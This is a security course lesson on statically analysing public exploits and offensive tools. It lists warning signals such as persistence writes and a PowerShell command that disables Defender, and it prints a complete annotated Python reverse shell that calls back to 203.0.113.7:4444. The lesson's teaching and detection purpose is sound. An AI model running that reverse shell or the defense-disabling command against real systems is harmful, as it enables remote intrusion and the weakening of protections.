Saltar al contenido principal

Week 14 — Code and offensive tool analysis

Learning objectives​

  • Read a public exploit without blindly running it.
  • Identify dangerous payloads, network callbacks, persistence.
  • Document an offensive tool the way you write a finding: evidence, impact, remediation.

Method for reading an exploit​

  1. Static first, no execution before understanding.
  2. Locate the sensitive primitives: socket opening, system call, dynamic execution (eval, exec, Function, reflection).
  3. Identify the payload: what it installs, what it contacts, what it persists.
  4. Reconstruct the threat model: at what privilege level, against which version, with which network prerequisites.

Signals to spot immediately​

  • Hard-coded URLs pointing to a third-party domain.
  • Literal IP addresses, especially in a residential range.
  • Base64 or XOR encoded strings — often a hidden payload.
  • Write instructions into ~/.ssh/authorized_keys, crontab, Registry\Run.
  • Functions disabling defenses (Set-MpPreference -DisableRealtimeMonitoring $true).

Annotated example​

# DO NOT RUN — pedagogical annotation.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # TCP socket
s.connect(("203.0.113.7", 4444))                       # hard-coded external callback
os.dup2(s.fileno(), 0)                                 # stdin redirect
os.dup2(s.fileno(), 1)                                 # stdout redirect
os.dup2(s.fileno(), 2)                                 # stderr redirect
subprocess.call(["/bin/sh", "-i"])                     # interactive shell

Reading: TCP reverse shell, outbound connection to 203.0.113.7:4444, no persistence, no obfuscation. Detectable by any network rule blocking unusual outbound traffic.

Ethics​

Publishing a working exploit must always be accompanied by:

  • A coordinated disclosure timeline with the vendor.
  • A documented remediation.
  • A responsibility framework toward the users.

Next step​

Once this lesson is marked complete, you have validated the 16 steps of the path. Move on to the final quiz to earn your certificate.